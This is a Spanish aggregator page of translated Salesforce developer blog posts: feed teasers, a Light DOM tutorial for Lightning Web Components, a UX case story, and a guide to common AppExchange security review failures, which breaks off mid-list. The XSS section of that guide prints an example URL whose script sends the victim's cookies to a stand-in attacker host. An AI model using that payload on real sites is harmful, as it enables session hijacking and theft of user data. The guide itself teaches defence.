Los cambios de Lightning UI están relacionados únicamente con el estilo visual y no afectan a la plataforma, las características del producto ni la funcionalidad.
The post Lo que los desarrolladores deben saber sobre las mejoras de Lightning UI en la versión Summer ’24 appeared first on Blog de desarrolladores de Salesforce.
Celebramos un año dedicados a mejorar la experiencia de usuario de Lightning.
The post Desempeño de la experiencia Lightning: Primer aniversario, resultados y perspectivas appeared first on Blog de desarrolladores de Salesforce.
En nuestra serie “Engineering Energizers” Q&A, presentamos a Leo Tran, Arquitecto jefe de ingeniería de plataformas en Salesforce. Con más de 15 años de experiencia en liderazgo de ingeniería, Leo desempeña un papel fundamental en el desarrollo de la plataforma Einstein 1. Esta plataforma integra IA generativa, gestión de datos, capacidades de CRM y sistemas de confianza para proporcionar a las empresas experiencias de cliente personalizadas e impulsadas por IA […]
The post Cómo la nueva plataforma Einstein 1 gestiona cargas de trabajo masivas de datos e IA a escala appeared first on Blog de ingeniería de Salesforce.
Seguir leyendo
Construya pruebas de extremo a extremo rápidamente con dos elementos que hacen grande a UTAM: los objetos de página base (PO) y la extensión UTAM para Chrome.
Los objetos de página base (PO) y la extensión UTAM para Chrome son dos elementos que hacen grande a UTAM
The post Construya pruebas de extremo a extremo rápidamente con la extensión UTAM Chrome appeared first on Blog de desarrolladores de Salesforce.
Última actualización el 24 de octubre de 2023 por Rakesh Gupta Big Idea or Enduring Question: ¿Cómo se registran los correos electrónicos enviados con la acción ‘enviar correo electrónico’? Objetivos: Después de leer este blog, serás capaz de: Utilizar el flujo activado por registro para enviar una alerta por correo electrónico. Utilizar la acción de flujo «Enviar correo electrónico». Utilizar
The post Enviar, registrar, repetir: registro de alertas de correo electrónico como actividades appeared first on Campeón de la Automatización.
Las alertas de correo electrónico se envían por correo electrónico
Seguir leyendo
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
Light DOM es una función de Lightning Web Components que ha estado disponible de forma general en Lightning Experience, Experience Cloud, LWC OSS (código abierto) y todas las versiones de la aplicación móvil Salesforce desde Summer '23 .
Los componentes web Lightning, de forma predeterminada, se representan en DOM oculto , lo que proporciona una encapsulación y seguridad sólidas para sus componentes. Sin embargo, al mismo tiempo, evita el estilo global y bloquea las integraciones de terceros que introspeccionan el interior de sus componentes. Light DOM es una característica que se puede habilitar de forma granular en componentes seleccionados, de modo que Shadow DOM no los afecte.
Usemos un componente web Lightning muy simple como ejemplo.
<dx-code-block title language="html" code-block="
Hello Codey!
«>
En el ejemplo anterior, el DOM oculto predeterminado del componente evita que una regla CSS definida en el componente principal o el host alcance el elemento <p> . Además, no permite que el código JavaScript externo al componente consulte el elemento <p> mediante las API de consulta del navegador.
Para activar el DOM ligero para un componente, debe especificar el renderMode ligero en su archivo JavaScript y la directiva de plantilla lwc:render-mode en la etiqueta <template> del componente. Ambos cambios son necesarios debido a la forma en que se compilan los componentes web Lightning.
<dx-code-block title language="html" code-block="
Hello Codey!
«>
Cuando activa el DOM claro en un componente, el marcado del componente se adjunta al elemento anfitrión en lugar de a su árbol de sombra. Luego puede acceder al marcado desde otros componentes de la página como cualquier otro contenido en el host del documento que no esté protegido por Shadow DOM.
Los componentes DOM ligeros permiten el uso de API de consulta de navegador estándar como querySelector y querySelectorAll . En este caso, en lugar de usar this.template.querySelector , debes usar this.querySelector .
O más simplemente, a menudo puedes usar la directiva lwc:ref en ambos casos (componentes DOM sombreados y claros) y omitir el querySelector .
<dx-code-block title language="html" code-block="
Hello Codey!
«>
Light DOM es una opción para cada componente individual. Sus efectos no se aplicarán a otros componentes a menos que también opten por participar. Tenga en cuenta que los componentes base siempre se representan en DOM oculto.
Recomendamos habilitar DOM ligero si tiene bibliotecas que necesitan acceder a los componentes internos mediante API de consulta de navegador estándar, aplicar estilos globales o necesita más flexibilidad para implementar las mejores prácticas de accesibilidad, siempre y cuando el componente no exponga datos confidenciales. Cubriremos estos casos de uso con más profundidad en la siguiente sección.
No recomendamos habilitar DOM ligero para un componente si ese componente aparece o funciona con datos confidenciales. El uso de DOM ligero elimina la encapsulación de DOM en sombra y expone los componentes al raspado de DOM. Por lo tanto, tenga en cuenta esta importante consideración.
Light DOM permite varios casos de uso que anteriormente no eran compatibles.
Light DOM permite el uso de bibliotecas que necesitan acceso a los componentes internos. Un buen ejemplo de esto son las bibliotecas de análisis utilizadas en los sitios de Experience Cloud, como Google Analytics, ya que necesitan acceso a los componentes internos para obtener mejores resultados.
Podemos probar este caso de uso, incluido el componente helloCodey anterior, en un componente principal mascotChanger de la siguiente manera.
<dx-code-block title language="html" code-block="
«>
Tenga en cuenta que, aunque el párrafo consultado pertenece al componente helloCodey , podemos acceder a él con this.template.querySelector , porque pertenece al DOM ligero secundario. Sin embargo, si el componente helloCodey no tuviera habilitado el DOM ligero, querySelector habría devuelto null .
También puede acceder a los componentes internos del DOM ligero desde un script que se carga como un recurso estático en la página, siempre y cuando todos los componentes ancestros estén habilitados para el DOM ligero. Por ejemplo, en un sitio LWR Experience Cloud, que es DOM completamente ligero, puede agregar un recurso estático de JavaScript que encuentre los componentes internos helloCodey de la siguiente manera.
Otro ejemplo en el que esto puede resultar útil es implementar componentes complejos y profundamente anidados. En ese caso, es posible que prefiera tener un único componente DOM de sombra en el nivel superior y componentes DOM claros dentro para evitar gastos generales. Por ejemplo, un componente de tabla de datos personalizado puede tener solo un gran componente DOM de sombra alrededor de todo, en lugar de una sombra para cada fila y celda de la tabla.
Esta implementación facilita la consulta de sus propios elementos desde el componente de nivel superior de su jerarquía y también la implementación de la accesibilidad. Además, hay una ligera mejora en el rendimiento en algunos casos de uso al usar DOM claro sobre DOM sombreado, lo que se debe principalmente a la sobrecarga de simplemente crear nodos de sombra adicionales.
Light DOM también facilita el estilo global, ya que permite que los estilos CSS caigan en cascada en el marcado del componente. Por ejemplo, un componente DOM ligero puede establecer un estilo que se carga y luego se aplica una vez para todos los componentes DOM ligeros de la página. La inyección de estilos globales a través de DOM ligero solo se admite en sitios de Experience Cloud, editor de contenido CMS o Sales Enablement.
Por ejemplo, definamos un componente colorChanger de la siguiente manera.
<dx-code-block title language="html" code-block="
«>
El color de fondo azul se aplicará a los párrafos de todas las instancias del componente helloCodey en la página, ya que está habilitado para DOM claro.
En la mayoría de los casos, no querrás que tu estilo se filtre a otros componentes. Eso todavía es posible para componentes DOM ligeros. Solo necesita colocar esas reglas de estilo en un archivo *.scoped.css , para que tengan como alcance el componente DOM ligero. El CSS con alcance está escrito exactamente igual que el CSS normal, pero solo se aplicará a ese componente sin filtrarse.
Tenga en cuenta que si las reglas de estilo se cargan globalmente como recursos estáticos en una página de Lightning Experience o un sitio de Experience Cloud, se les quitará el alcance y se aplicarán tanto a los componentes DOM claros como también a los componentes DOM de sombra, ya que la sombra sintética no evitará que se filtren. Esta es una limitación que se solucionará una vez que la sombra nativa sea totalmente compatible (actualmente en Developer Preview ). Cuando la sombra nativa está habilitada, solo los componentes habilitados para DOM claro heredarán los estilos globales.
Light DOM permite que un componente haga referencia a la i d un elemento que vive en otro componente separado habilitado para Light DOM. Esto le permite vincular dos elementos utilizando los atributos i d y aria , lo que le otorga flexibilidad adicional para implementar las mejores prácticas de accesibilidad en sus proyectos. Mejoremos nuestro componente mascotChanger para demostrar esto.
<dx-code-block title language="html" code-block="
«>
<dx-code-block title language="html" code-block="
«>
<dx-code-block title language="html" code-block="
«>
Tenga en cuenta que Salesforce está trabajando actualmente con el W3C para agregar nuevos estándares, de modo que el DOM oculto nativo pueda participar en estos patrones de accesibilidad. Esto significa que, en el futuro, este caso de uso ligero de DOM no será necesario. Como parte de nuestros esfuerzos de accesibilidad, también patrocinamos a Igalia para implementar parcialmente ARIA Element Reflection , que ahora es totalmente compatible con Safari y parcialmente con Chrome. Si quieres saber más sobre este tema, echa un vistazo a nuestra propuesta cross-root-aria , el repositorio para el grupo de trabajo Modelo de objetos de accesibilidad .
La siguiente tabla resume los casos de uso y dónde se admiten.
| Experiencia en la nube | Experiencia relámpago | Aplicaciones móviles de Salesforce | LWC OSS/LWR en Node.js* | |
| Soporte de bibliotecas que necesitan acceso a las partes internas de los componentes. | Sí | Sí | Sí | Sí |
| Implementación más sencilla de componentes profundamente anidados | Sí | Sí | Sí | Sí |
| Estilo global | Sí | No | No | Sí |
| Implementación más flexible de las mejores prácticas de accesibilidad | Sí | Sí | Sí | Sí |
*Si se utiliza DOM de sombra nativo en lugar de sombra sintética . La sombra nativa es la opción predeterminada para LWC OSS y LWR en Node.js.
Cuando se trabaja con DOM ligero, hay algunas consideraciones adicionales a tener en cuenta, entre ellas:
En esta publicación de blog, revisamos qué es el DOM ligero, los casos de uso que permite y las consideraciones a tener en cuenta para decidir qué componentes habilitarán la función. Todos los ejemplos que se muestran en este blog se encuentran en un repositorio de GitHub que puedes probar tú mismo.
Para obtener más información sobre DOM ligero en la plataforma Salesforce, lea la documentación o, si está trabajando fuera de la plataforma, lea la documentación OSS .
Si decide seguir adelante y transformar sus componentes DOM ocultos en componentes DOM claros, consulte esta herramienta creada por Salesforce Engineering para simplificar la migración.
Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Puedes seguirla en Linkedin , Twitter o GitHub .
Añadir a holgura Suscríbete a RSS
La personalización es un sello distintivo de Salesforce, pero ¿qué sucede cuando se exagera? Durante más de 20 años, una organización del sector público creó versiones específicas para equipos de las páginas de registros de Salesforce Lightning Experience . Demasiados diseños causaron confusión y llevaron a las personas a mantener sus propias hojas de cálculo en lugar de completar Sales Cloud . Todo eso cambió cuando un Trailblazer con certificación 10X introdujo un patrón de diseño simple y repetible.
"El modelo simple puede ser algo útil", dijo Prag Ravichandran Kamalaveni, fundador y director ejecutivo de Skilled Cohort .
Maximice la productividad, obtenga información valiosa y optimice los procesos para crecer con usted.
Este #DreamDesigner devolvió al cliente a los conceptos básicos de UX . Juntos, implementaron una plantilla universal para páginas de registros Lightning con objetos estándar y personalizados . El enfoque permitió a los usuarios navegar por las páginas más fácilmente y eliminar sus hojas de cálculo. "La gente volvió a Sales Cloud para completar la información", dijo. "Comenzaron a sentirse más seguros de que podían hacer lo que tenían que hacer y hacerlo rápidamente".
Por fin, todos podrían beneficiarse de una única fuente de verdad.
"El buen diseño se basa en la memoria muscular y así es como puede convertirse en un hábito", dijo Prag, quien trabajó en este proyecto mientras trabajaba en CloudKettle , una consultoría que ayuda a las organizaciones a mejorar las operaciones de ingresos.
Su estrategia de diseño tiene en cuenta que todos desarrollan atajos mentales a medida que avanzan. Los procesos son más fáciles cuando son familiares. Por lo tanto, los componentes familiares en las páginas de registro pueden aumentar la eficiencia y permitir a los usuarios actuar sin fricciones.
Entonces Praga hizo una plantilla con dos columnas. Le dio a los elementos del patrón de diseño el mismo aspecto, ubicación y propósito en todos los casos. No existía una razón crítica para el negocio para recrear la rueda. En todo caso, fue todo lo contrario. Los usuarios necesitaban poder confiar en una experiencia de usuario intuitiva. Necesitaban confiar en lo que saben sobre un patrón para informar cualquier página en la que se encontraran.
"Hay una única razón por la que esto funcionó", dijo. "Todas las páginas de registro con plantilla fueron posibles gracias a Salesforce Lightning Design System (SLDS) ".
Hay grandes beneficios al diseñar sistemas. Prag confió en SLDS como recursos para crear páginas de registro consistentes con los principios de experiencia del usuario, el lenguaje de diseño y las mejores prácticas de Salesforce. "La arquitectura integrada basada en componentes nos permitió segregar la información agrupada en una plantilla universal para páginas de registro", dijo.
Después de todo, incluso una pequeña elección de diseño puede crear dificultades para los usuarios. Si un elemento está en un lugar nuevo, puede provocar agotamiento mental, arrastre y, finalmente, resignación.
“Además, algo que afecta a los usuarios es la necesidad de volver a aprender una experiencia o ralentizar su flujo”, dijo Alan Weibel, arquitecto de UX de Salesforce.
Los nuevos patrones de diseño se realizaron a nivel de macrointeracción y a nivel de microinteracción. Prag se aseguró de que las tareas más grandes (por ejemplo, iniciar sesión) fueran tan uniformes como las más pequeñas (por ejemplo, envío de formularios).
Tres formas en que la IA generativa ayudará a los especialistas en marketing a conectarse con los clientes Lectura de 3 minutos 
Mejora tus habilidades en IA con Trailhead Lectura de 3 minutos
Hoy, la información del equipo está centralizada en Sales Cloud. Los usuarios se sienten cómodos con patrones de diseño familiares. El trabajo es más fácil y los beneficios de compartir información son significativos. Las desviaciones anteriores ralentizaron el trabajo y aumentaron la carga para el administrador de Salesforce. Ahora, nadie navega por diferentes páginas de diferentes maneras.
Este tipo de transformación siempre es posible. Prag lo vio cientos de veces en sus trece años especializándose en Salesforce. La clave es que las organizaciones sigan evaluando su implementación para reducir la deuda tecnológica y la deuda de diseño .
Lo que funcionó antes puede no funcionar ahora.
Esa es la belleza del diseño. Es una conversación en curso. Y, a veces, patrones de diseño consistentes son justo lo que necesita para que su equipo vuelva a encarrilarse.
Seguir leyendo
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.
Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.
Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.
Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.
El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.
Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.
El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .
Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .
Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.
Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.
Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.
Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.
Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.
Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).
Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.
Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .
Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:
Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:
Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .
Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.
Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.
Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.
Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.
Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .
Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.
En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.
Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.
Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.
Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.
La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.
En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.
En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.
Para páginas de Visualforce:
Para componentes Lightning:
init (para Aura) ,connectedCallback , renderedCallback o constructor .Al realizar llamadas API:
CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.
Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .
Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.
Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.
En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.
Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).
Los motivos por los que su aplicación podría ser susceptible incluyen:
innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:
eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.
Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.
Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.
Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.
Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).
Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.
Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.
Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.
Obtenga más información sobre este problema en nuestra documentación para desarrolladores .
La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.
La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.
Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.
Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .
Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.
Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.
Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.
Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.
Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.
Puede encontrar más información en nuestra documentación para desarrolladores .
Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.
En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).
Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.
Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.
Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).
En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.
Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc
La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.
También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .
Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.
Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.
Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.
Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.
Tiene dos opciones, según su caso de uso, que incluyen:
isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.Más información está disponible en la documentación .
Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:
